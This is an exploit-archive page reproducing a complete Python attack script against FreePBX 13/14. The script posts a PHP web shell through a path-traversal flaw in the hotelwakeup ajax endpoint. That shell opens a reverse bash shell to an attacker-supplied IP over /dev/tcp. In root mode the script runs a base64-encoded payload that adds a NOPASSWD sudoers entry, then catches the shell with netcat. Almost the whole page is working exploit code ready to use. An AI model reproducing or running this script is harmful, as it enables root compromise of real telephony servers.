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FreePBX 10.13.66 Remote Command Execution / Privilege Escalation

CVE Category Price Severity
N/A CWE-77 N/A High
Author Risk Exploitation Type Date
Unknown High Remote 2016-10-23
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 0.9364 0.97092

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016100216

Below is a copy:

FreePBX 10.13.66 Remote Command Execution / Privilege Escalation#!/usr/bin/env python
'''
    Title          |  FreePBX 13 Remote Command Execution and Privilege Escalation
    Date           |  10/21/2016
    Author         |  Christopher Davis 
    Vendor         |  https://www.freepbx.org/
    Version        |  FreePBX 13 & 14 (System Recordings Module versions: 13.0.1beta1 - 13.0.26)
    Tested on      |  http://downloads.freepbxdistro.org/ISO/FreePBX-64bit-10.13.66.iso 
                      http://downloads.freepbxdistro.org/ISO/FreePBX-32bit-10.13.66.iso
    Purpose        |  This script exploits the freepbx website, elevates privileges and returns a reverse bind tcp as root
    Usage          |  python pbx.py -u http://10.2.2.109 -l 10.2.2.115 -p 4444 -s r
    Orig Author    |  pgt - nullsecurity.net 
'''
import re
import subprocess
import argparse
import random
import time
import socket
import threading
 
#This portion will check for requests and prompt user to install it if not already
try:
    import requests
except:
    try:
        while True:
            choice = raw_input('Requests library not found but is needed. Install? 'Y'es or 'N'o?\n:')
            if choice.lower() == 'y':
                subprocess.call('pip install requests',shell=True)
                import requests
                break
            elif choice.lower() == 'n':
                exit()
            else:
                continue
    except Exception as e:
        print(e)
        exit()
 
#Since subprocess.call will bind, we start this thread sepparate to execute after our netcat bind
def delayGet():
    global args
    try:
        time.sleep(5)
        requests.get(args.url+ '0x4148.php.call', verify=False)
    except:
        pass
 
if __name__ == '__main__':
    try:
        parser = argparse.ArgumentParser()
        parser.add_argument('-u', type=str, help='hostname and path. Ex- http://192.168.1.1/path/', dest='url')
        parser.add_argument('-l', type=str, help='localhost ip to listen on', dest='lhost')
        parser.add_argument('-p', type=str, help='port to listen on', dest='lport')
        parser.add_argument('-s', type=str, help="'L'ocal or 'R'oot shell attempt", dest='shell')
        parser.add_help
        args = parser.parse_args()
 
        #Make sure args were passed
        if args.url == None or args.lhost == None or args.lport == None or not bool(re.search(r'^(?:[L|l]|[r|R])$', args.shell)):
            parser.print_help()
            print("\nUsage:  python freepbx.py -u http://10.2.2.109 -l 10.2.2.115 -p 4444")
            exit()
 
        #Make sure the http url is there
        if bool(re.search('[hH][tT][tT][pP][sS]?://', args.url)) == False:
            print('There is something wrong with your url. It needs to have http:// or https://\n\n')
            exit()
 
        #make sure / is there, if not, put it there
        if args.url[-1:] != '/':
            args.url += '/'
        #python -c 'import pty; pty.spawn("/bin/sh")'
        #this is the php we will upload to get a reverse shell. System call to perform reverse bash shell. Nohup spawns a new process in case php dies
 
        #if version 13, lets try to get root, otherwise
        if args.shell.upper() == 'R':
            cmdshell = '<?php fwrite(fopen("hackerWAShere.py","w+"),base64_decode("IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHRpbWUNCiMgLSotIGNvZGluZzogdXRmLTggLSotIA0KY21kID0gJ3NlZCAtaSBcJ3MvQ29tIEluYy4vQ29tIEluYy5cXG5lY2hvICJhc3RlcmlzayBBTEw9XChBTExcKVwgICcgXA0KCSdOT1BBU1NXRFw6QUxMIlw+XD5cL2V0Y1wvc3Vkb2Vycy9nXCcgL3Zhci9saWIvJyBcDQoJJ2FzdGVyaXNrL2Jpbi9mcmVlcGJ4X2VuZ2luZScNCnN1YnByb2Nlc3MuY2FsbChjbWQsIHNoZWxsPVRydWUpDQpzdWJwcm9jZXNzLmNhbGwoJ2VjaG8gYSA+IC92YXIvc3Bvb2wvYXN0ZXJpc2svc3lzYWRtaW4vYW1wb3J0YWxfcmVzdGFydCcsIHNoZWxsPVRydWUpDQp0aW1lLnNsZWVwKDIwKQ==")); system("python hackerWAShere.py; nohup sudo bash -i >& /dev/tcp/'+args.lhost+'/'+args.lport+' 0>&1 ");?>'
        else:
            cmdshell = "<?php system('nohup bash -i >& /dev/tcp/"+args.lhost+"/"+args.lport+" 0>&1 ');?>"
         
        #creates a session
        session = requests.Session()
        print('\nStarting Session')
        session.get(args.url, verify=False)
        print('\nScraping the site for a cookie')
        HEADERS = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0", "Accept": 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', "Accept-Language":"en-US,en;q=0.5","Referer": args.url + 'admin/ajax.php', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1'}
        print('\nPosting evil php')
        postData = {'module':'hotelwakeup','command':'savecall','day':'now','time':'+1 week','destination':"/../../../../../../var/www/html/0x4148.php","language":cmdshell}
        result = session.post(args.url + 'admin/ajax.php', headers=HEADERS, data=postData, verify=False)
        if 'Whoops' not in result.text:
            print(result.text)
            print('\nSomething Went wrong. Was expecting a Whoops but none found.')
            exit()
        #calls the get thread which will execute 5 seconds after the netcat bind
 
        print('\nStarting new thread for getting evil php')
        z = threading.Thread(target=delayGet)
        z.daemon = True
        z.start()
 
        print('\nBinding to socket '+ args.lport + ' Please wait... May take 30 secs to get call back.\n')
        #This binds our terminal with netcat and waits for the call back
        try:
            subprocess.call('nc -nvlp '+args.lport, shell=True)
        except Exception as e:
            print(e)
        print('\nIf you saw the message "sudo: no tty present and no askpass program specified", please try again and it may work.')
    except Exception as e:
        print(e)
        print('\nSee above error')




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